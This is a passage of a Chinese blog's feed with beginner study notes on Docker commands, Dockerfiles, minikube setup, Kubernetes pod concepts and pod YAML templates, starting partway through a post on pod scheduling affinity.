class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">preferred-affinity-pod</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">affinity:</span></span><br><span class="line">    <span class="attr">nodeAffinity:</span></span><br><span class="line">      <span class="attr">preferredDuringSchedulingIgnoredDuringExecution:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">weight:</span> <span class="number">80</span></span><br><span class="line">        <span class="attr">preference:</span></span><br><span class="line">          <span class="attr">matchExpressions:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">zone</span></span><br><span class="line">            <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">            <span class="attr">values:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">us-west-2a</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">weight:</span> <span class="number">20</span></span><br><span class="line">        <span class="attr">preference:</span></span><br><span class="line">          <span class="attr">matchExpressions:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">instance-type</span></span><br><span class="line">            <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">            <span class="attr">values:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">c5.large</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">web-app</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx</span></span><br></pre></td></tr></tbody></table></figure><h2 id="pod亲和性与反亲和性"><a href="#pod亲和性与反亲和性" class="headerlink" title="pod亲和性与反亲和性"></a>pod亲和性与反亲和性</h2><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">affinity:</span></span><br><span class="line">  <span class="attr">podAffinity:</span>  <span class="comment"># 亲和性, podAntiAffinity: 亲和性</span></span><br><span class="line">    <span class="attr">requiredDuringSchedulingIgnoredDuringExecution:</span> <span class="comment"># 同节点亲和性配置</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">labelSelector:</span></span><br><span class="line">        <span class="attr">matchExpressions:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">app</span></span><br><span class="line">          <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">          <span class="attr">values:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">web</span></span><br><span class="line">      <span class="attr">topologyKey:</span> <span class="string">kubernetes.io/hostname</span>  <span class="comment"># 不同节点 # 根据节点标签</span></span><br></pre></td></tr></tbody></table></figure></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/CloudNative_learn2/</id>
    <link href="https://blog.btop251.top/Cloud-Security/CloudNative_learn2/"/>
    <published>2026-10-14T16:00:00.000Z</published>
    <summary>
      <![CDATA[<html><head></head><body></body></html>]]>
    </summary>
    <title>云原生学习02-pod调度</title>
    <updated>2026-10-14T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><blockquote><p>最近看了一些云安全的面经，发现技术面的相关问题我很多都答不上来，前段时间公有云的学习也莫名其妙的没有下文了，特别是有了ai之后独立思考的能力渐渐缺失，很难独立去完成靶场了，索性换个方向先简单了解一下，从公有云转到云原生上</p></blockquote><p>学习线路：</p><ol><li><strong>基石：容器化（Docker）</strong><br>理解镜像与容器的关系，学会编写 <code>Dockerfile</code>，把应用打包成标准镜像。这是云原生一切应用的“交付物”。</li><li><strong>核心：Kubernetes 编排</strong><br>掌握 <strong>Pod、Deployment、Service</strong> 等核心对象。这是你需要投入最多时间的阶段。<strong>Minikube</strong> 的作用就在于此，让你能实际部署、观察、调试这些资源。</li><li><strong>进阶：微服务与流量治理</strong><br>学习服务发现、配置中心（如 Nacos）以及服务网格（如 Istio）的基础概念。</li><li><strong>效率：DevOps 与 CI/CD</strong><br>理解如何通过 GitLab CI 或 ArgoCD 等工具，实现代码从提交到 K8s 集群的自动化部署。</li></ol><h1 id="docker"><a href="#docker" class="headerlink" title="docker"></a>docker</h1><blockquote><p>Docker 是一个开源的应用容器引擎，基于 <a href="https://www.runoob.com/go/go-tutorial.html">Go 语言</a> 并遵从 Apache2.0 协议开源。</p><p>Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。</p><p>容器是完全使用沙箱机制，相互之间不会有任何接口（类似 iPhone 的 app）,更重要的是容器性能开销极低。</p></blockquote><h2 id="docker-常用基本命令"><a href="#docker-常用基本命令" class="headerlink" title="docker 常用基本命令"></a>docker 常用基本命令</h2><p><code>docker pull 镜像名:版本号</code> 下载镜像</p><p><code>docker images</code> 查看本地下载的镜像</p><p><code>docker ps</code> 查看正在运行的容器</p><p><code>docker run -it 镜像名:版本号</code> 运行容器</p><p><code>docker exec -it 容器id sh</code> 进入容器</p><p><code>docker rm -f 容器id</code> 删除容器</p><p><code>docker rmi 镜像id</code> 删除镜像</p><p><code>docker tag 镜像id 镜像名:版本号</code> 给镜像打标签</p><p><code>docker build -t 镜像名:版本号 .</code> 构建镜像</p><p><code>docker commit -a="作者" -m="说明" 容器id 镜像名:版本号</code> 提交容器变更到镜像</p><p><code>docker history 镜像名:版本号</code> 查看镜像的构建历史</p><h2 id="dockerfire"><a href="#dockerfire" class="headerlink" title="dockerfire"></a>dockerfire</h2><figure class="highlight dockerfile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">18.04</span>  <span class="comment"># 基础镜像</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update  <span class="comment"># 更新软件源 </span></span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim  <span class="comment"># 安装vimecho </span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; apt-get install -y curl <span class="comment"># (推荐)</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./a /a  <span class="comment"># 将当前目录下的a文件复制到镜像的/a目录下</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ADD</span><span class="language-bash"> ./b /b  <span class="comment"># 将当前目录下的b文件复制到镜像的/b目录下  (远端url、压缩包)</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /a  <span class="comment"># 设置工作目录为/a</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">"tail"</span>, <span class="string">"-f"</span>, <span class="string">"/dev/null"</span>]  <span class="comment"># 设置容器启动时执行的命令</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">"/manager"</span>]  <span class="comment"># 设置容器启动时执行的命令</span></span></span><br></pre></td></tr></tbody></table></figure><h1 id="k8s学习"><a href="#k8s学习" class="headerlink" title="k8s学习"></a>k8s学习</h1><p>之前在学aws的时候的学习经费还有好多没有用，再不用就浪费了，再开一台vps来学云原生</p><p>学习k8s肯定需要自己上手实操一下，这里推荐<code>minikube</code>，它能在你的本地电脑上快速拉起一个单节点 K8s 集群，让你零成本地练习所有核心操作，且官方教程都是基于它编写，生态中的大多数入门示例都能直接跑通。</p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p><a href="https://minikube.kubernetes.ac.cn/docs/start/?arch=/linux/x86-64/stable/binary+download#google_vignette">minikube start | minikube 中文</a></p><p>以linux为例</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -LO https://github.com/kubernetes/minikube/releases/latest/download/minikube-linux-amd64</span><br><span class="line"><span class="built_in">sudo</span> install minikube-linux-amd64 /usr/local/bin/minikube &amp;&amp; <span class="built_in">rm</span> minikube-linux-amd64</span><br></pre></td></tr></tbody></table></figure><p>启动集群</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">minikube start --driver=docker --v=7</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/image-20261014093322103.png" alt="image-20261014093322103" loading="eager" decoding="async"></p><p>这样就是下载启动成功了</p><p>验证一下</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">minikube kubectl -- get pods -A</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/image-20261014093448672.png" alt="image-20261014093448672" loading="lazy" decoding="async"></p><p>易用配置</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim ./.bashrc</span><br></pre></td></tr></tbody></table></figure><p>添加再末尾</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">alias kubectl="minikube kubectl --"</span><br><span class="line">source &lt;(kubectl completion bash)</span><br></pre></td></tr></tbody></table></figure><p>这是将<code>minikube kubectl --</code>这一长坨命令简化成<code>kubectl</code>，方便操作，且模拟环境更加完善</p><blockquote><p><code>--</code> 是 Unix/Linux 的通用约定，表示**“选项到此为止，后面的都是位置参数（要传给子命令的内容）”**。</p><p>也就是说如果没有<code>--</code>之后的命令<code>get pods -A</code>就会被根命令<code>minikube</code>解析，而这个命令是属于kubectl的，这样解析肯定会报错</p></blockquote><p>删除集群</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">minikube delete</span><br></pre></td></tr></tbody></table></figure><h2 id="k8s相关概念"><a href="#k8s相关概念" class="headerlink" title="k8s相关概念"></a>k8s相关概念</h2><h3 id="Pod"><a href="#Pod" class="headerlink" title="Pod"></a>Pod</h3><p>Pod是Kubernetes中最小的可部署计算单元，您可以在其中创建和管理它。</p><p>Pod的<strong>共享上下文</strong>包括一组Linux命名空间、cgroups以及其他可能的隔离机制。在Pod的上下文中，各个应用程序可以进一步实现子隔离。</p><p>Pod类似于<strong>一组容器</strong>，这些容器共享命名空间和文件系统卷。</p><p>在Kubernetes集群中，Pod主要有两种使用方式：</p><ol><li>运行单个容器的Pod。这种“一个Pod一个容器”的模式是最常见的Kubernetes用例。此时，您可以将Pod视为单个容器的包装层，Kubernetes直接管理Pod而非容器本身。</li><li>运行多个需要协同工作的容器的Pod。Pod可以封装由多个紧密耦合的容器组成的应用程序，这些容器需要共享资源。</li></ol><table><thead><tr><th align="left">Namespace</th><th align="left">管什么</th><th align="left">Pod 内是否共享</th></tr></thead><tbody><tr><td align="left"><strong>network</strong></td><td align="left">网络接口、IP、端口</td><td align="left">共享（同一 IP，端口不能冲突）</td></tr><tr><td align="left"><strong>mount</strong></td><td align="left">文件系统挂载点</td><td align="left">默认隔离（各有各的根文件系统）</td></tr><tr><td align="left"><strong>pid</strong></td><td align="left">进程 ID</td><td align="left">默认隔离（可配置共享）</td></tr><tr><td align="left"><strong>ipc</strong></td><td align="left">进程间通信（信号量、共享内存）</td><td align="left">共享</td></tr><tr><td align="left"><strong>uts</strong></td><td align="left">主机名、域名</td><td align="left">共享（同一 hostname）</td></tr><tr><td align="left"><strong>user</strong></td><td align="left">用户和 UID 映射</td><td align="left">默认隔离</td></tr><tr><td align="left"><strong>cgroup</strong></td><td align="left">cgroup 视图</td><td align="left">共享</td></tr><tr><td align="left"><strong>time</strong></td><td align="left">系统时钟偏移</td><td align="left">默认隔离</td></tr></tbody></table><ul><li><strong>network</strong>：Pod 内容器共用 IP 和端口空间，所以 <code>localhost</code> 能互相访问，但同一端口只能被一个容器占用。</li><li><strong>ipc</strong>：可以用 System V IPC 或 POSIX 消息队列通信。</li><li><strong>uts</strong>：共享主机名，<code>hostname</code> 命令看到的是同一个。</li></ul><p><img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/1280X1280.PNG" alt="1280X1280" loading="lazy" decoding="async"></p><p>每个 Pod 启动时，kubelet 会先拉起一个极小的容器，镜像叫 <code>pause(infra container)</code>（通常几十 KB 到几百 KB）。它只做一件事：</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// pause 容器的核心逻辑（简化）</span></span><br><span class="line"><span class="keyword">for</span> (;;) {</span><br><span class="line">    pause();  <span class="comment">// 一直睡眠，什么都不干</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>它的作用就是<strong>占住并持有 Pod 级别的 namespace</strong>：</p><ul><li>创建 network namespace，并配置好 Pod 的 IP</li><li>创建 ipc、uts namespace</li><li>作为 cgroup 的挂载点</li></ul><p>然后，Pod 里的所有业务容器在启动时，通过 <code>--net=container:&lt;pause容器ID&gt;</code> 这类方式，<strong>加入到 pause 容器已经创建好的 namespace 里</strong>。</p><p>也就是说</p><blockquote><p>Pod的共享namespace 由pause容器创建并持有，业务容器都是”加入者”</p></blockquote><h3 id="集群（Cluster）"><a href="#集群（Cluster）" class="headerlink" title="集群（Cluster）"></a>集群（Cluster）</h3><p>Kubernetes 集群是由一组节点（Node）组成的集合，用于运行容器化应用程序。集群由控制平面（Control Plane）和工作节点（Worker Node）组成。</p><ul><li><strong>控制平面</strong>：负责管理集群的状态和调度任务，包括 API Server、Scheduler、Controller Manager 和 etcd 等组件。</li><li><strong>工作节点</strong>：运行实际的容器化应用程序，每个节点包含 kubelet、kube-proxy 和容器运行时（如 Docker 或 containerd）。</li></ul><p><img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/1280X1280-1.PNG" alt="K8s概念总览图-略" loading="lazy" decoding="async"></p><h3 id="节点（Node）"><a href="#节点（Node）" class="headerlink" title="节点（Node）"></a>节点（Node）</h3><p>节点是 Kubernetes 集群中的工作单元，可以是物理机或虚拟机。节点分为两种类型：</p><ul><li><strong>Master 节点</strong>：运行控制平面组件，负责集群管理。</li><li><strong>Worker 节点</strong>：运行应用程序容器，由控制平面调度。</li></ul><h3 id="命名空间（Namespace）"><a href="#命名空间（Namespace）" class="headerlink" title="命名空间（Namespace）"></a>命名空间（Namespace）</h3><p>命名空间是 Kubernetes 中用于资源隔离的逻辑分区。通过命名空间，可以将集群资源划分为多个虚拟集群，适用于多团队或多环境场景。</p><ul><li><strong>默认命名空间</strong>：<code>default</code>，未指定命名空间的资源默认属于此命名空间。</li><li><strong>系统命名空间</strong>：如 <code>kube-system</code>，用于运行 Kubernetes 系统组件。</li></ul><img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/1601821-20220605224943060-1540664273.png" alt="Kubernetes（k8s）基础概念介绍" style="zoom:150%;" loading="lazy" decoding="async"><h2 id="Pod-1"><a href="#Pod-1" class="headerlink" title="Pod"></a>Pod</h2><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-app-pod</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">my-app</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">backend</span></span><br><span class="line">    <span class="attr">version:</span> <span class="string">"1.0"</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">description:</span> <span class="string">"This is a sample application pod"</span></span><br><span class="line">    <span class="attr">maintainer:</span> <span class="string">"devops-team"</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="comment"># 重启策略</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line"></span><br><span class="line">  <span class="comment"># 容器定义</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">main-container</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 容器启动命令</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">"nginx"</span>]</span><br><span class="line">    <span class="attr">args:</span> [<span class="string">"-g"</span>, <span class="string">"daemon off;"</span>]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 端口配置</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">      <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">https</span></span><br><span class="line">      <span class="attr">containerPort:</span> <span class="number">443</span></span><br><span class="line">      <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 环境变量</span></span><br><span class="line">    <span class="attr">env:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">ENVIRONMENT</span></span><br><span class="line">      <span class="attr">value:</span> <span class="string">"production"</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">LOG_LEVEL</span></span><br><span class="line">      <span class="attr">value:</span> <span class="string">"info"</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 资源限制</span></span><br><span class="line">    <span class="attr">resources:</span></span><br><span class="line">      <span class="attr">requests:</span></span><br><span class="line">        <span class="attr">memory:</span> <span class="string">"128Mi"</span></span><br><span class="line">        <span class="attr">cpu:</span> <span class="string">"250m"</span></span><br><span class="line">      <span class="attr">limits:</span></span><br><span class="line">        <span class="attr">memory:</span> <span class="string">"256Mi"</span></span><br><span class="line">        <span class="attr">cpu:</span> <span class="string">"500m"</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 健康检查</span></span><br><span class="line">    <span class="attr">livenessProbe:</span></span><br><span class="line">      <span class="attr">httpGet:</span></span><br><span class="line">        <span class="attr">path:</span> <span class="string">/</span></span><br><span class="line">        <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">initialDelaySeconds:</span> <span class="number">30</span></span><br><span class="line">      <span class="attr">periodSeconds:</span> <span class="number">10</span></span><br><span class="line">      <span class="attr">timeoutSeconds:</span> <span class="number">5</span></span><br><span class="line">      <span class="attr">failureThreshold:</span> <span class="number">3</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#livenessProbe:</span></span><br><span class="line">      <span class="comment">#exec:</span></span><br><span class="line">        <span class="comment">#command:</span></span><br><span class="line">          <span class="comment">#- cat</span></span><br><span class="line">          <span class="comment">#- /tmp/healthy</span></span><br><span class="line"></span><br><span class="line">    <span class="attr">readinessProbe:</span></span><br><span class="line">      <span class="attr">httpGet:</span></span><br><span class="line">        <span class="attr">path:</span> <span class="string">/</span></span><br><span class="line">        <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">initialDelaySeconds:</span> <span class="number">5</span></span><br><span class="line">      <span class="attr">periodSeconds:</span> <span class="number">5</span></span><br><span class="line">      <span class="attr">timeoutSeconds:</span> <span class="number">3</span></span><br><span class="line">      <span class="attr">failureThreshold:</span> <span class="number">1</span></span><br></pre></td></tr></tbody></table></figure><p>以上是一个比较全面的Pod模板</p><h3 id="关于apiVersion"><a href="#关于apiVersion" class="headerlink" title="关于apiVersion"></a>关于<code>apiVersion</code></h3><p>K8s 把所有 API 分组，每组有版本。不同资源属于不同的组：</p><table><thead><tr><th align="left">资源</th><th align="left">apiVersion</th></tr></thead><tbody><tr><td align="left">Pod、Service、ConfigMap</td><td align="left"><code>v1</code>（核心组）</td></tr><tr><td align="left">Deployment、DaemonSet</td><td align="left"><code>apps/v1</code></td></tr><tr><td align="left">Job、CronJob</td><td align="left"><code>batch/v1</code></td></tr><tr><td align="left">Ingress</td><td align="left"><code>networking.k8s.io/v1</code></td></tr><tr><td align="left">Role、RoleBinding</td><td align="left"><code>rbac.authorization.k8s.io/v1</code></td></tr></tbody></table><p><code>apiVersion</code> 写错，K8s 就找不到这个资源类型，直接报错。</p><p>此处<code>v1</code> 这种<strong>只有版本、没有组名</strong>的，是 K8s 最早期、最基础的资源，叫<strong>核心组</strong>：</p><p>包含：</p><ul><li>Pod</li><li>Service</li><li>ConfigMap</li><li>Secret</li><li>Namespace</li><li>Node</li><li>PersistentVolume</li><li>PersistentVolumeClaim</li></ul><p><strong>特点</strong>：最基础、最稳定，从 K8s 诞生就有。</p><h3 id="元数据（metadata）"><a href="#元数据（metadata）" class="headerlink" title="元数据（metadata）"></a>元数据（metadata）</h3><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line"><span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">uid:</span> <span class="string">ac987043-77fb-49e6-ae26-2b1a337462ae</span></span><br><span class="line"><span class="attr">resourceVersion:</span> <span class="string">"6287"</span></span><br><span class="line"><span class="attr">creationTimestamp:</span> <span class="string">"2026-10-14T06:46:26Z"</span></span><br></pre></td></tr></tbody></table></figure><ul><li><code>uid</code>：Pod 的<strong>全局唯一 ID</strong>，即使删了重建同名 Pod，uid 也不同</li><li><code>resourceVersion</code>：版本号，K8s 内部用乐观锁，每次修改递增</li><li><code>namespace</code>：<code>default</code>， YAML 没写，默认落到 default</li><li><code>lables</code>:可以理解为标签，将对应的资源分类，方便快速查找，有字数上限</li><li><code>description</code>：描述，给人看的，让你知道这玩意是干嘛用的，没有字数上限</li></ul><h3 id="spec（期望状态）"><a href="#spec（期望状态）" class="headerlink" title="spec（期望状态）"></a>spec（期望状态）</h3><p>这是核心部分。你希望对应资源的状态，没写的属性会使用默认值，注意这个是期望而不是命令</p><p>比如说</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br></pre></td></tr></tbody></table></figure><p>表示的是我希望这里有三个pod，而不是给我创建三个pod，她的判定标准是最终的结果是否为三个pod，多退少补，而不是实际的执行过程创建三个pod</p><h3 id="status-实际状态"><a href="#status-实际状态" class="headerlink" title="status (实际状态)"></a>status (实际状态)</h3><p><strong>这部分是 K8s 写的，你只读。</strong> 它反映 Pod 的真实情况。先不管</p><h3 id="实践"><a href="#实践" class="headerlink" title="实践"></a>实践</h3><p>在实际情况中可以通过先创建一个yaml文件来来此一个pod资源</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim pod.yaml</span><br></pre></td></tr></tbody></table></figure><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span> <span class="comment"># 用哪个 API 版本</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span><span class="comment"># 是什么资源</span></span><br><span class="line"><span class="attr">metadata:</span><span class="comment"># 元数据（名字、标签、命名空间）</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line"><span class="attr">spec:</span><span class="comment"># 期望状态（这个资源长什么样）</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">"/bin/sh"</span>]</span><br><span class="line">    <span class="attr">stdin:</span> <span class="literal">true</span>  <span class="comment">#对应docker -i保持容器的stdin开启（非必须</span></span><br><span class="line">    <span class="attr">tty:</span> <span class="literal">true</span> <span class="comment">#对应docker -t开启伪终端（非必须</span></span><br></pre></td></tr></tbody></table></figure><p>创建好之后可以通过</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f pod.yaml</span><br></pre></td></tr></tbody></table></figure><p>or</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl create -f pod.yaml</span><br></pre></td></tr></tbody></table></figure><blockquote><p>来创建资源，<code>apply</code>不仅可以创建资源，也可以用于修改资源，所以在实际情况下往往都是直接通过该命令，很少使用<code>create</code></p></blockquote><p>通过以下命令查看这个pod的相关配置信息</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get po btop251 -oyaml</span><br></pre></td></tr></tbody></table></figure><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span 